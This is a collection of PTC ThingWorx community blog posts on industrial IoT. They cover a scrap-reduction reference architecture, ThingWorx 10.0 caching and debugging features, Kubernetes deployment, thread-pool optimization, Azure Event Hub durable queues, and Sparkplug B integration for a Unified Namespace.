Manufacturing – Scrap Reduction & Production Efficiency   Problem: Enhancing Scalability and Reducing Operational Inefficiencies   Customer faced challenges in scaling its IIoT solution as new sensors and data sources were introduced. Traditional systems struggled with the increased volume of factory data, leading to slow system response times and ineffective real-time analytics. Additionally, manual process adjustments resulted in inconsistencies, contributing to increased scrap rates and wasted materials.   Solution: Cloud-Scalable Infrastructure with Real-Time Process Optimization   To address these issues, the architecture leverages Azure IoT Hub, Azure Data Explorer (ADX), and Influx DB to handle massive data streams and provide low-latency analytics. This ensures that production trends, environmental conditions, and machine parameters are continuously monitored and optimized in real time. Advanced machine learning models predict process inefficiencies, enabling operators to make automatic adjustments to reduce scrap and optimize yield.   Role of PTC Products:   ThingWorx Platform: Acts as the central command hub, enabling real-time decision-making based on factory data trends. ThingWorx Digital Performance Management (DPM): Uses historical data to provide AI-supported recommendations for reducing material waste and improving overall equipment effectiveness (OEE). PTC Kepware: Ensures reliable, high-speed data acquisition from sensors, production lines, and environmental monitoring systems, feeding critical information into ThingWorx for optimization.   C. Driving Digital Transformation & Quality Optimization   Problem: Lack of Digital Process Automation & AI-Powered Decision Making   Customer’s previous factory systems relied on manual reporting and fixed thresholds for process control, limiting the ability to detect and respond to process inefficiencies in real time. Operators needed a system that could provide intelligent, self-service applications with AI-driven recommendations for optimal production performance.   Solution: AI-Driven Automation & Dynamic Quality Control   The IIoT architecture integrates AI-powered predictive analytics to analyze deviations in real-time and suggest automatic machine adjustments. Real-time applications, customizable process recipes, and dynamic alerting systems empower production teams with actionable insights. By embedding self-service applications in ThingWorx, engineers and operators can fine-tune process settings and receive automated recommendations for improving quality and efficiency.   Role of PTC Products:   ThingWorx Platform: Serves as the central analytics hub, delivering AI-powered insights for continuous process improvement. ThingWorx DPM: Uses machine learning to correlate scrap rates with process variables, recommending changes that minimize waste and enhance quality. PTC Kepware: Captures real-time process data, ensuring that AI models receive accurate inputs for predictive analysis.   Customer’s digital transformation journey is now backed by a robust, PTC-powered IIoT ecosystem that delivers continuous improvement, higher production efficiency, and proactive maintenance capabilities—ultimately driving the future of smart manufacturing. Technical Architecture and Implementation Details   This section combines detailed technical descriptions with the overall reference architecture. It describes the core components, integration points, and implementation strategies that deliver a robust IIoT solution for the customer.   A. Architecture Overview Diagram       High-level architecture diagram for the final solution B. Detailed Technical Components     Component Role Key Features OPC Aggregators & Kepware Stream and bridge machine data from production, DEV, and QA environments to Azure IoT Hub for real-time processing in ThingWorx. Scalable ingestion; latency monitoring; secure device connectivity; segregated closed environments for DEV/QA. Azure IoT Hub Ingests and secures machine telemetry data for analytics. Centralized data ingestion; integration with Azure services. ThingWorx on VMs Hosts the core IIoT application that processes data, provides end-user applications, and manages workflows. High performance; disaster recovery via VM snapshots; enhanced security through Azure AD integration and SSL support. Managed PostgreSQL Provides high availability for persistent application data through replication and failover. Data redundancy; managed service benefits; automated backup and recovery. Azure Data Explorer / Influx DB Handles advanced analytics, timeseries visualization, and predictive insights for telemetry data. Real-time analytics; anomaly detection; cost-effective long-term storage. Monitoring & Logging Tools Ensure comprehensive observability and prompt incident response across all components. Real-time applications monitoring; alerting; centralized log aggregation. RESTful APIs Enable seamless integration with ERP systems, legacy data sources, and other IoT devices. Secure data exchange; standardized connectivity protocols.     C. User Personas   The success of this solution relies on a well-defined team of technical experts responsible for deployment and ongoing management:     Persona Key Responsibilities Plant Manager Oversee overall factory performance and use data insights for strategic decision-making Drive process improvements and efficiency Digital Transformation Lead Analyzes and prioritizes valuable use-cases for the business Implement IIoT solutions across factory operations and scale AI-driven automation and data analytics Ensure long-term digital innovation and adoption Operations Manager Oversee production lines and ensure efficiency and optimize machine settings based on real-time insights Troubleshoot and resolve process issues quickly Quality Assurance Engineer Monitor production quality in real time and ensure compliance with quality standards Reduce scrap and rework by addressing deviations early Maintenance Engineer Monitor equipment health and respond to alerts and perform predictive maintenance to prevent failures Minimize downtime through proactive repairs Software Engineer Develop and maintain IIoT backend and frontend systems and ensure seamless data integration and API connectivity Optimize system performance and scalability Cloud Architect Design and manage IIoT cloud infrastructure and ensure scalable and secure cloud deployments Optimize data storage and processing in the cloud Security Analyst Implement and monitor security measures for IIoT systems and conduct risk assessments and threat analysis Ensure compliance with cybersecurity standards DevOps Engineer Manage CI/CD pipelines for IIoT applications and automate deployments and infrastructure management Optimize system performance and reliability     NOTE : Although these personas were required, the needs were fulfilled by a team of only 4–5 developers effectively playing multiple roles. Outcome   Optimized Production Efficiency By unifying machine telemetry, process parameters, and historical trends, customer empowers engineers with real-time insights. AI-driven recommendations and automated adjustments replace trial-and-error, enabling precise, dynamic optimizations. Bottlenecks and inefficiencies are identified instantly, allowing rapid corrective actions for peak performance.   Reduced Waste & Enhanced Quality Real-time process optimization and automated quality control significantly reduce material waste and variability. The system detects deviations at the source, enabling instant adjustments and ensuring consistent product quality, minimizing scrap, rework, and compliance risks.   Seamless Data Visibility & Collaboration A centralized dashboard provides real-time access to critical metrics, eliminating fragmented reports and delays. Engineers and operators can compare production data across sites, standardize best practices, and drive continuous improvements across the network.   Future-Ready Innovation Beyond immediate gains, this IIoT transformation lays the foundation for scalable sensor integration, AI-driven automation, and advanced predictive analytics. It’s not just a solution for today—it’s a long-term framework for sustained digital innovation in smart manufacturing. This reference architecture is not just about solving today’s challenges—it establishes a long-term, adaptive framework that will continue to evolve, enabling our customer to remain at the forefront of smart manufacturing and industrial digitalization. Additional Information   This section provides further insights into the project implementation and future strategic direction.   Parameter Description Example/Notes Time to First Go-Live Estimated duration from project initiation to initial production deployment. Approximately 16 weeks Partner Involvement Key strategic and technical partners collaborating on the deployment. Microsoft, Ansys, and Deloitte were supporting the digital transformation initiative centered around ThingWorx. Customer Roadmap Future enhancements planned by customer, such as AI-based predictive analytics and further automation. An expansion to incorporate AI and advanced machine learning–driven insights is planned       Vineet Khokhar Principal Product Manager, IoT Security   Disclaimer: These reference architectures will be based on real-world implementation; however, specific customer details and proprietary information will be omitted or generalized to maintain confidentiality.   Stay tuned for more updates, and as always, in case of issues, feel free to reach out to <support.ptc.com>  

  What Is “Beyond the Pilot” and Why it matters?   Beyond the Pilot is a reference architecture series that highlights how real-world manufacturing challenges are addressed at enterprise scale across engineering, manufacturing, and service lines of business.   These stories reflect solutions built using — but not limited to — industrial IoT (IIoT), AI, and cloud technologies. Each entry captures how a specific use case — ranging from quality optimization to predictive maintenance — was solved using a combination of proven tools and repeatable design patterns.   Our goal is simple: To provide a blueprint for repeatable success, enabling technical leaders, architects, and operations teams to move from isolated wins to sustained value — securely, scalably, and strategically. Because technology doesn’t create impact in the lab — it creates impact when it’s scaled across the enterprise. Because innovation is only as powerful as its ability to sustain value across engineering, manufacturing, and service. Because manufacturers everywhere face the same question: How do we take what works in a pilot and make it work at scale? That’s exactly what this series will explore.     What You’ll Find in This Series   Each blog will highlight: The Context – The real-world problem we set out to solve The Architecture – The design patterns and integrations that made it possible The Execution – How we turned a concept into a production-ready system The Outcome – Tangible business results, from efficiency gains to cost savings The Lessons Learned – Best practices and insights you can reuse in your own journey   What’s Next   Upcoming posts will dive into: Manufacturing efficiency gains through connected operations Secure, cloud-native deployments that balance scale with compliance How digital twins are reshaping design, operations, and customer experience And much more…   Each story will link back here as the anchor introduction to this series. So stay tuned — and join us as we explore what it really takes to go beyond the pilot. Because that’s where innovation becomes transformation. Vineet Khokhar Principal Product Manager, IoT Security   Disclaimer: These reference architectures will be based on real-world implementation; however, specific customer details and proprietary information will be omitted or generalized to maintain confidentiality.   Stay tuned for more updates, and as always, in case of issues, feel free to reach out to <support.ptc.com>  

Hello ThingWorx community members!   First off, we greatly appreciate the feedback and enthusiasm for ThingWorx 10.0! Thank you!   With the release of 10.0, we’ve worked with customers to enhance their application performance using the caching feature. Based on this collaboration, our field services  team— @DeShengXu, @gregeva, and @ssauvage-2 —has developed the ThingWorx Cache Thing Guide v1.0.0, a comprehensive resource to help developers significantly improve query performance with in-memory caching.   This guide empowers you to optimize performance, reduce system load, and enhance user experience.   Why Use Cache Thing?  Boost Performance: Caching feature with 10.0 improves repetitive data access performance by orders of magnitude (~700x) compared to accessing the data from the database every time.  Reduce Costs: Minimize calls to external services by storing results, saving on resource usage.  Improve Scalability: Handle high concurrency with ease and reduce the strain of database.   Dive into the pdf guide attached for step-by-step instructions, code samples, and key design consideration. Follow the DOs and DON’Ts to create efficient cache keys, manage memory, and optimize database operations.   We’d love to hear your feedback as you upgrade to 10.0 and explore the caching capability. Feel free to share your thoughts here! Thank you! Cheers, Ayush Tiwari Director Product Management

Hello ThingWorx'ers!   First off, we’re pleased to see the excitement around ThingWorx 10.0! Your feedback on features like the Debugger, Caching, and the Windchill Navigate View Work Instructions app has been fantastic. I’m especially amazed by the rapid adoption of IoT Streams over the past two months. I'm glad it’s delivering value!   Join us for an exclusive ThingWorx 10.0 Launch Webinar on September 9, 2025, at 11:00 AM EDT. We’ll dive into the latest features, including real-time IoT Streams, enhanced scalability, stronger security, and exciting AI updates that will power your Industrial IoT journey. Register now: ThingWorx 10.0 Webinar   After the webinar, we’d love to hear your thoughts! Share what you’re loving about 10.0 and any feedback you may have.     Keep pushing the boundaries of innovation!   Cheers, Ayush Director Product Management, ThingWorx        

Containerization has been a cornerstone of modern software deployment, offering well-known benefits like portability, scalability, and consistency across environments. In the industrial IoT (IIoT) space, these advantages are particularly valuable, enabling organizations to manage complex systems with greater agility and efficiency. At PTC, we recognize that while containerization is not new, its application in IIoT continues to evolve, and our platforms—ThingWorx and Kepware—are designed to help you harness its full potential in practical, impactful ways. ThingWorx: Streamlining IIoT with Containerization ThingWorx has supported containerization for some time now allowing users to build ThingWorx Docker Container images and deploy applications with ease, whether on-premises, in the cloud, or in hybrid setups. This approach simplifies the deployment process, reduces configuration overhead, and ensures that your IIoT solutions can scale as your needs grow. For those already familiar with containerization, ThingWorx offers Dockerfiles allowing customers to build, run, and deploy, ThingWorx as Docker Containers for  development and production use cases. See our help center for already available information on this: https://support.ptc.com/help/thingworx/platform/r9.7/en/index.html#page/ThingWorx/Help/Installation/ThingWorxDockerGuide/thingworx_docker_landing_page.html     New Resource: Deploying ThingWorx on Kubernetes As container adoption matures, so does the need for robust orchestration tools. That’s why we’re excited to introduce a new best practices guide for deploying ThingWorx containers on Kubernetes, with a focus on Azure Kubernetes Service (AKS). This guide is designed to help you take the next step in managing your containerized applications at scale, offering information on: Setting up and managing Helm chart repositories. Preparing your Azure environment, including resource groups, virtual networks, and container registries. Creating and managing content repositories for Docker images. Deploying and configuring Azure Kubernetes Service (AKS) clusters. Implementing essential supporting components such as Monitoring Stacks, Certificate Managers, Ingress Controllers, Azure PostgreSQL Databases, and Storage Accounts to facilitate ThingWorx deployment. Detailed steps to deploy ThingWorx in various configurations, including standalone , high availability (HA) , and with eMessage Connector (eMC). Procedures for upgrading ThingWorx deployments   You can access this guide on our GitHub repository: ThingWorx Kubernetes Deployment (twx-k8s). Whether you’re scaling to support thousands of devices or simply looking for more efficient management of your IIoT infrastructure, this guide helps you with the best practices you need to succeed in your containerization efforts for ThingWorx.     Kepware Edge: Connectivity at the Source On the connectivity front, Kepware Edge brings the power of containerization directly to the edge of your operations. By packaging industrial-grade connectivity into a lightweight, container-friendly solution, Kepware Edge allows you to deploy secure, reliable data access right where your machines and devices are located. For more details on how Kepware Edge, check out our recent announcement: PTC Announces Kepware Edge and stay tuned for more updates on the availability of it.     Practical Tools for Your IIoT Journey Improving DevOps for applications built on ThingWorx is a key priority for us at PTC and containerization is a critical piece to it. We invite you to explore these resources and see how they can fit into your existing IIoT solution development workflows. Visit the ThingWorx Kubernetes guide on GitHub and let us know your feedback or any questions around containerization by posting on the IoT community.   Cheers, Ayush Tiwari Director Product Management, ThingWorx

Abstract This article explores an approach on how to optimize ThingWorx thread usage during service execution. It addresses common scenario where the Event Processor executor thread pool can become saturated, which can lead to queuing and slow responsiveness to users. This article is a proposal for configuring and optimizing services, with an example. Please, use the post comments to provide feedback or suggestions. All used capabilities are 100% ThingWorx OOTB. In the following, the acronym SETO (Service execution thread optimization) will be used to refer to entities and their capabilities.   Introduction During the execution of a service, events trigger a subscription that runs in a new thread. In addition to the best practices for timers and schedulers, SETO uses this mechanism to parallelize the execution of a service across subdivisions of a population of Things. When using ThingWorx, clients often encounter issues related to the regular execution of services such as "get data" or "update KPIs".  These services, when executed frequently, can lead to several challenges: Single thread processing: Processing occurs only in one thread, might lead to long execution time. Thread Pool Saturation: When too many services are executed simultaneously, the thread pool can become saturated, slowing down the entire system. Queue Overflows: Thread pool saturation can lead to queue overflows, where new tasks cannot be processed in time. Task Loss: Overflows can result in the loss of important tasks, affecting service reliability. Unresponsive Server: Due to overload, the server can become unresponsive, impacting user experience and operational continuity. Data processing requirements often lead to decreasing execution time without the required consideration towards impact on stability and availability of the other required services.  This post provides explanations and examples of how to think differently about how to execute data processing quickly and reliably while also focusing on the systems stability and reliability.   Why Use Service Execution Thread Optimization? To address these issues, Service Execution Thread Optimization (SETO) is essential. It allows for effective management of resource saturation and its consequences. SETO enables you to control the percent or number of used threads and the safety inter-execution delay.   Selective Execution Management Prioritized processing involves sorting tasks from oldest to newest, focusing on older tasks to prevent them from falling too far behind. However, it is crucial not to limit execution to only old tasks but to find a balance to process all eligible tasks. If all things don’t execute the service before the inter-execution delay, SETO skips them. These remaining things will be prioritized for the next timer event. Selectively orchestrating work execution allows designing your data processing workflow so that it is coherent with your various use cases functional requirements as well as being tuned for performance and your provisioned resources. This example covers functional requirements which require data to be processed within a 1-hour period, and hence sorts the processing by oldest first, and allows for skipping execution windows if the system is busy at that time. Your application of this approach may leverage a more complex approach suited to your needs that could add sensitive assets that should be processed with more urgency depending on the type or location of an asset.  This is where multiple copies of the SETO entity would adapt according to your use cases, selection criteria, work sorting, timing, thread usage configurations, etc.   Applicability and Ease of Use SETO has been designed to avoid touching the existing model as much as possible. The only prerequisite is to have a Datetime property on each Thing to track the last execution of the service, one property per service.   How to use it? Configuration of Allocated Threads Per Service 1. Create an Thing from the PTCSC.SETO.WorkProcessManager_TT ThingTemplate. 2. Configure the AllocatedThreadsPerService Table:   TS or TT: The entity type that carries the service. Accepted values are “TT” for ThingTemplate and “TS” for ThingShape TS or TT name: The name of the entity that carries the service. Service name: The name of the service you want to streamline the execution. Safety timeout: A security time value that defines a hard stop before the next timer trigger, in seconds. Minimum of 5 seconds. Example: If my timer is set to 3 minutes and my safety timeout is set to 10, the service won’t be executed on remaining things at 2 minutes and 50 seconds. The safety timeout must be less than the timer update rate. Last update property name: The name of the datetime property on things used to store the last service execution timestamp. Update older than: The minimum number of minutes since the last update before the service is triggered on an object. If set to 0, all things will be taken in account anytime. Percent available thread: The percentage of available thread to use. Value constrained from 0 to 99. This value is truncated to select a round number. Example: 13 threads available, 60% requested → 13*0,6=7,8, so 7 threads will be used. Use number of threads: Way to the select the requested number of threads. TRUE, use percent of available threads / FALSE, use the number of threads value column. Number of threads: Maximum number of threads allowed to run in parallel to process the list of things. This number should be set to leave at least a few threads free. SETO let at least on thread free, so the number of request threads might be lower or equal to zero. The remaining thread might be used by other execution outside SETO. 3. Creating a Subscription in the new Thing.   Create a Subscription to link the Timer to the Service to execute.   Result example The following example demonstrates how logging is seamlessly integrated into SETO during the execution optimization process. Logging is part of the ServiceExecution_SUB subscription in PTCSC.SETO.WorkProcessManager_TT ThingTemplate.   Important Notes Appropriate entity selection, sorting, scheduling algorithms will depend on the specific use cases and workload. SETO uses QueryImplementingThingsOptimized for better performance, so indexing is encouraged. Processing needs to address resulting status and potentially needed retries as a part of the scheduling algorithm.  You'll want to add use case specific logic which ensures the entities with failing processing are only attempted a couple of times and that their error state is notified and addressed by a system administrator. Ex: just sorting by oldest last execution time will cause anomalous non-working entities to surface to the top and taking priority over all other processing (this is an anti-pattern to avoid, requiring a circuit breaker) SETO can only trigger Services without input parameters.  You could evolve the concept to leverage passing Service parameters through JSON property event data. In this article, a Timer is used to trigger a regular event. As best practice, it is better to use a Scheduler (regular as a Timer) Indeed, when server starts, all timers will start. Scheduler trigger depends on current datetime and not on sever startup.   Conclusion and provided file By optimizing Service execution, businesses can improve the performance and reliability of their applications built on the ThingWorx Platform. Proper configuration helps prevent common issues and ensures smooth service execution. Find attached to this article the SETO entities valid from version 9.3.   I've just put resource here as more generic as it is not only the thread pool that would become saturated in the given context.  It could be many other aspects downstream which are tightly coupled like the database.     NB: thanks to Greg EVA for sharing knowledge and review. 

Durable Queues Are Here by Tori Firewind, Principal Cloud Architect   Introduction Well folks, the durable queue is here, and it is… durable! We tried everything in our dev ops arsenal to bring it down, but no matter what we threw at it, Event Hub stayed up. No data was lost in any test scenario. ThingWorx 10.0 is a remarkably more mature and stable offering than ever before with its new use of Kafka to prevent data loss, as well as internal queue management and queue diagnostics features.   As we announced last quarter, new diagnostics features allow us to record diagnostic data from the moment a problem starts, ensuring RCA can begin immediately, without further time spent waiting for issues to occur again. These are highly configurable, and PTC is ready to support customers opting-in to acceleration-based diagnostics!   Coming out now is the new internal throttling mechanism within ThingWorx, which ensures that even when queues max out, regardless of what those queues are doing, ThingWorx remains up and capable of other activity. In some of our failed scale test scenarios, the event queue was maxed out for many hours, without any subsequent out of memory crash of the Platform. It was remarkably durable!   Even better if the durable queue is opted-in, because then those events also happen faster and more reliably. The durable events fire immediately within the Platform when a durable property is updated. Both of these go to Event Hub simultaneously. The load within Event Hub is balanced independently and processed more quickly than by ThingWorx, improving overall performance of both property updates and events, while still leaning heavily on ThingWorx for the web access and data redirect and storage.   When the lag is well controlled, the subject of most of the rest of this article, the property values go in, they come out within milliseconds, and the latency is not significant in spite of the added component. And of course, if something happens to the Platform in the meantime, never fear, for the data truly is preserved and accessible within Event Hub.   Data loss is a thing of the past with ThingWorx 10.0!     Configuration Situation The one sacrifice of durability is scale, which can be challenging with Event Hub.  There are some key considerations when optimizing ThingWorx for throughput, which should be considered necessary, as well as when sizing Event Hub.   ThingWorx Throughput Optimization Within ThingWorx, go to the system object and edit it (may require admin permissions). Modify the Configuration to reduce the overall number of threads, which in turn reduces the distribution of the Event Hub load, allowing each to be processed more quickly. Also lower the buffer scan rate for persistent properties so they flush more often.   Especially lower the max number of items before flushing, the buffer that usually delays writes to the database so as not to overwhelm it. That is less of a factor here as Event Hub has an internal load balancer. Event Hub is better for throughput than a database would be, and these are the settings to put on all opt-in queues for optimal performance.   Event Hub Sizing and Partition Optimization Within Event Hub, there are several types of processing units. We will focus on the lower two tiers, as the highest tier is very expensive and less common to use, and the concept is the same as the Premium (mid) tier.   The Standard Tier uses TUs, a.k.a. “Throughput Units”, and these are less performant but also less resource intensive, and so much less expensive. There is a maximum of 40 TUs overall, and 32 partitions per Event Hub in Standard. There is one Event Hub each for Logged Properties, Persistent Properties, and Unordered Events in both Standard and Premium.   Premium Tier instead uses PUs, a,k.a. “Processing Units” and these are more performant and more resource intensive, with lower commit request latency, meaning the commits within Event Hub are happening faster. The data is received faster, and the cost for this is greater, but the stability is also greater and the risk of runaway lag or eventual data loss much lower. The risks are much more mild than before, and recovery is discussed below.   In Premium, there is a maximum of 100 partitions per Event Hub, with 200 total per PU. There is a maximum of 16 PUs, and these go only in increments of 2. There are diminishing returns with more resources, however, directly proportional to the number of things. More things overall will reduce the write capabilities within Event Hub, as more CPU resources have to be spent on the network communication portion of the data exchange. Low Partitions Medium Partitions High Partitions   It is better to use more partitions than less, and a higher number of partitions will result in less latency and lower mean lag. There is always some lag, however, as it is calculated from the number of items queued versus completed. Both of these queues are very active, and healthy lag is usually between 60 – 80% of the total property wps, with peaks that do not increase over time. Sometimes the lag can be spikey, which must be considered in the alerting infrastructure.   The mean load should be significantly less than 16 PUs and load tested, so that there is room to scale up and recover any lag that accrues from the unpredictable nature of production systems. Always leave room for spikes!   Recovery of the Event Hub The short version: do not modify the partitions to resolve runaway lag.    If more partitions are added while the lag is falling behind, then instead of helping to catch up, they significantly delay the recovery. Anything currently in Event Hub will not be distributed across the new partitions, only new things that are added later, but all of the partitions will still be polled for data, including the new ones, which will slow things down even more.   The right way to deal with runaway lag is to increase the TUs or PUs to a decently higher setting temporarily, let the lag catch up, and then increase the number of partitions, and then wait and see how the server responds before finally downsizing once again. It is important to consider that there is a maximum size for processing data, and a maximum number of partitions per Event Hub, creating a hard upper limit for performance and scale.   Make sure any Event Hub instance is sized small enough to allow for upsize in the case of runaway lag. Edge load is not guaranteed to remain perfectly steady, generally speaking, there can be surprise disconnections, reconnections, and spikes in utilization. There really is no other way to ensure no data loss occurs to runaway lag, especially since there usually is no way to turn off the Edge load at will in Production. Lag grew to the hundreds of thousands quickly, was surely beyond recovery at this size. The partitions were increased at 11:45 to demonstrate the poor distribution of data processing within Event Hub. Around 15 hours to recover. Here it is up close, see how every partition is doing a tiny amount of work, and it takes quite a long time? Too much lag, and the data will be lost in one of two ways: not being added to an already full queue within Event Hub, or by erroring out as Event Hub tries to pass it back with a variety of errors. If Event Hub backs up too much to be recovered by upsizing, or it cannot be upsized enough, it can be deleted, and only the type of data affected will see loss, and with no downtime for ThingWorx.   A Healthy Example An XL ThingWorx deployment was used to ensure that the Platform was not the limiting factor. The required TUs and PUs are the figures calculated by the Grafana dashboard, coming from the Kafka metrics. The average latency for subscriptions is calculated by having a start datetime property (not logged or persisted) update when the rest of the property updates fire, and then an end datetime property update when the subscriptions to the persistent properties run; the timespan is then calculated and written to the script log.   This example was an XL sized application, 80k things, each thing with  20 properties total, 10 Logged and 10 Persistent properties, that write to Event Hub twice in a minute. There were 5 events as well to measure the latency, but due to the design of the test (property updates fired from a timer subscription), opting in to Durable Events causes performance issues that affect the test results. That is why events show up in the Event Queue, which does not happen in opt-in tests. : These are calculated by the Kafka Metrics dashboard:  Required TUs:    115                Required PUs:   2        These were what was configured for this test: TUs Configured: N/A              PUs Configured: 16                Partitions (respectively): 100, 100, 0 Average Latency for Subscriptions: < 100ms   The test begins at 11 am. Lag is steady and the spikes are not increasing over time (though they come close).   The property write rate includes the 20 properties that go to Event Hub, plus the 10 date time properties for measuring latency, and one additional info table property for a more realistic load.   This looks the same as it usually does, there is no change to performance.   This is high because of the design of the test, all of the things update on thing template level timer subscriptions. This is much lower with opt-in for durable events.     How durable!

Introduction In the dynamic landscape of IoT and industrial applications, development teams often face challenges such as limited visibility into application behavior, fragmented tooling, and time-consuming troubleshooting processes. To address these pain points, PTC has launched a DevOps initiative aimed at strengthening the ThingWorx low-code platform. This initiative delivers key enhancements in debugging, source control, monitoring, alerting, logging, and AI-driven development support. As ThingWorx continues to evolve, our commitment remains centered on improving the day-to-day experience for both developers and administrators. We've been listening closely to your feedback—this new project reflects our response, focusing on smoother DevOps integration and empowering users with deeper control and visibility into their applications. While many enterprises already rely on IT-recommended tools to manage the application lifecycle and Day-2 operations, PTC is committed to complementing these investments by delivering additional capabilities and guidance tailored to the ThingWorx platform. Key features of the new devOps project initiative include real-time debugging and version control, the ability to roll back to previous versions, hot-fix deployments, and distributed team development through seamless integration with repositories like GitHub. Furthermore, streamlined application packaging and deployment significantly simplify the management of ThingWorx-based applications. These enhancements go beyond routine updates and reflect a meaningful evolution in how teams develop, troubleshoot, and optimize IoT applications in production environments.  Debugging : Preview in ThingWorx 10.0   The first major feature introduced under DevOps is the debugging capability, currently available in a private preview (alpha version). Debugging has long been a challenge in ThingWorx applications, where troubleshooting JavaScript code within the platform was often cumbersome and time-consuming. With the new JavaScript Debugger, developers can now debug their scripts directly within ThingWorx Composer, reducing the time spent identifying and fixing issues. This feature brings real-time issue resolution, allowing developers to pinpoint errors efficiently without needing external tools.   Security and seamless integration into the existing ThingWorx environment were critical design considerations for this feature. The debugging actions are logged securely for audit and compliance, ensuring that sensitive information remains protected. Furthermore, support for major browsers such as Chrome, Firefox, Edge, and Safari enhances the accessibility of this feature across different development environments. The debugging capability is expected to significantly improve developer productivity by offering better visibility into JavaScript execution and real-time error tracking, reducing the trial-and-error approach that developers previously relied upon. Here is a brief video offering a preview of upcoming features included in the ThingWorx 10.0 release, with general availability planned for the 10.1 release later this year.   Debugger Capability (Preview) Logging and Monitoring : Continuous improvement   In addition to the new debugging capabilities, we’ve delivered several enhancements focused on monitoring and alerting—specifically designed to support the needs of IT administrators responsible for maintaining the uptime and reliability of ThingWorx environments in the last major release. The integration of OpenTelemetry has transformed logging and performance monitoring, allowing better observability of system operations. This enhancement enables third-party integrations with monitoring tools such as Sumo Logic, Datadog, and Splunk, providing developers and administrators with deeper insights into system performance. These improvements have made ThingWorx more resilient and responsive, allowing teams to proactively detect and address issues before they impact operations. Mashup Builder : Continuous improvement   We have been continuously enhancing Mashup development capabilities, starting with the introduction of Read-Only Mashups in ThingWorx 9.6 and extending through to the latest improvements in recent releases. Also, a new Export Function replaces the legacy Data Export Widget, offering a more secure and efficient data export process. Binding Verification & Debugging introduces a powerful capability to detect and resolve broken bindings after mashup migrations, reducing errors and improving reliability. Improved UI Management features, such as widget highlighting and container zooming, make mashup creation and debugging more intuitive. Additionally, developers can now customize Tab Titles & Favicons, enabling better branding and a more polished user experience for ThingWorx applications. Mash up improvements in ThingWorx 9.7 The Road Ahead: AI-Powered Development and Version Control   The next phase of the DevOps initiative is set to deliver major advancements in source control and AI-driven development. One key enhancement is the addition of IDE-like features for source code management, enabling developers to better track, iterate, and roll back changes. Planned integrations with GitHub and other repositories will support seamless collaboration in distributed teams.   We welcome your feedback as you explore the new Debugger Feature Preview included in the ThingWorx 10.0 release. In parallel, we are actively working with customers and partners to enhance key capabilities such as source code version control and application lifecycle management within the ThingWorx platform. If you're interested in contributing to the future of low-code development, we encourage you to share your thoughts in the comments below—our team will be in touch to connect.   Vineet Khokhar Principal Product Manager, IoT Security Stay tuned for more updates as we approach the release of ThingWorx 10.0, and as always, in case of issues, feel free to reach out to <support.ptc.com>  

Leveraging ThingWorx for Unified Namespace with Sparkplug B Integration   Abstract   The industrial IoT (IIoT) landscape demands scalable, interoperable, and real-time data architectures to enable seamless communication across heterogeneous systems. Unified Namespace (UNS) has emerged as a new approach to organizing and contextualizing data in a centralized, hierarchical structure accessible to all devices and applications. This article explores how PTC’s ThingWorx, a leading IIoT platform, can serve as a robust foundation for operationalizing a UNS, with a specific focus on integrating MQTT-based Sparkplug B messaging. Building on the open-source SparkplugB-Edge-SDK provided by the ThingWorx Customer Success team, we demonstrate how ThingWorx can bridge edge devices, industrial systems, and enterprise applications within a UNS framework, delivering real-time visibility, scalability, and operational efficiency.   1. Introduction   1.1 The Need for Unified Namespace   In traditional industrial environments, data silos and protocol disparities hinder operational efficiency and decision-making. A Unified Namespace (UNS) addresses these challenges by providing a single, logical, and hierarchical data structure that serves as a "single source of truth" for all systems. While customers using ThingWorx have been implementing UNS without realizing it, recently when people say UNS, they also associate it with leveraging MQTT with it.  MQTT (Message Queuing Telemetry Transport) as a lightweight messaging protocol, with Sparkplug B enhancing it by adding a standardized topic structure and payload format helps enterprises with a starting point for implementing UNS.     1.2 ThingWorx: An IIoT Platform for Modern Architectures   PTC ThingWorx is a comprehensive IIoT platform designed to model, connect, and manage industrial assets while providing tools for data visualization, analytics, and integration. Its extensible architecture and support for standards like MQTT make it an ideal candidate for operationalizing a UNS. This paper builds on an example implementation, the SparkplugB-Edge-SDK, to illustrate how ThingWorx can operationalize a UNS in real-world scenarios.   2. Understanding Unified Namespace and Sparkplug B   2.1 Unified Namespace Overview   A UNS is a hierarchical naming convention that organizes all data—sensors, machines, processes, and enterprise systems—into a structured, globally accessible namespace. For example, a UNS topic might look like: FactoryA/Line1/Machine1/Sensor1/Voltage This structure ensures that data is self-describing, context-rich, and universally interpretable across the enterprise.   2.2 Sparkplug B: Enhancing MQTT for Industrial IoT   Sparkplug B is an open specification that builds on MQTT to provide a standardized framework for IIoT data exchange. Key features include: Topic Namespace: A predefined structure (e.g., spBv1.0/GroupID/MESSAGE_TYPE/NodeID/DeviceID) for consistent data addressing. State Management: Birth and death certificates to manage device connectivity. Efficient Payloads: Binary encoding via Google Protocol Buffers for compact, high-performance data transfer. Sparkplug B aligns naturally with UNS by enforcing a structured, interoperable data model suitable for industrial environments.   3. ThingWorx and Sparkplug B Integration   3.1 The SparkplugB-Edge-SDK   PTC offers several connectivity options with Kepware for industrial connectivity providing protocol transformation, and ThingWorx Edge SDKs for custom connectivity in developer friendly languages such as C-SDK, .NET SDK, and Java SDK to connect any asset with ThingWorx natively using WebSocket based AlwaysOn protocol. The SparkplugB-Edge-SDK (source and executable JAR available at https://github.com/thingworx-field-work/SparkplugB-Edge-SDK) is a Java-based component developed using ThingWorx Edge Java SDK. It integrates ThingWorx with Sparkplug B-enabled edge devices, enabling bidirectional communication over MQTT. Key components include: MQTT Client: Connects to an MQTT broker (e.g., Eclipse Mosquitto, HiveMQ) to publish and subscribe to Sparkplug B topics. ThingWorx Edge SDK Integration: Maps Sparkplug B data to ThingWorx entities (Things, Properties, Services). Configuration Flexibility: Supports customizable mappings between Sparkplug B metrics and ThingWorx data models. This SDK serves as a reference implementation for bridging edge devices with ThingWorx in a UNS context.   3.2 Architecture Overview   The proposed architecture integrates ThingWorx with a UNS as follows: Edge Layer: Devices publish data to an MQTT broker using Sparkplug B topics Broker Layer: An MQTT broker (e.g., Mosquitto) acts as the central hub, routing Sparkplug B messages. Application Layer: ThingWorx subscribes to the broker, ingests data, and maps it to its internal data model, exposing it via REST APIs, mashups, or analytics. This layered approach ensures scalability and decoupling of edge and enterprise systems.     4. Implementation Details   4.1 Setting Up the Environment   To implement a UNS with ThingWorx and Sparkplug B: Deploy an MQTT Broker: Install and configure an MQTT broker (e.g., Mosquitto) to handle Sparkplug B traffic. Configure the SparkplugB-Edge-SDK: Clone the repository: git clone <https://github.com/thingworx-field-work/SparkplugB-Edge-SDK.> Update configuration files (e.g., SparkplugBEdge.json) with MQTT broker details and ThingWorx connection credentials (URL, AppKey). Deploy the SDK on edge devices or gateways. 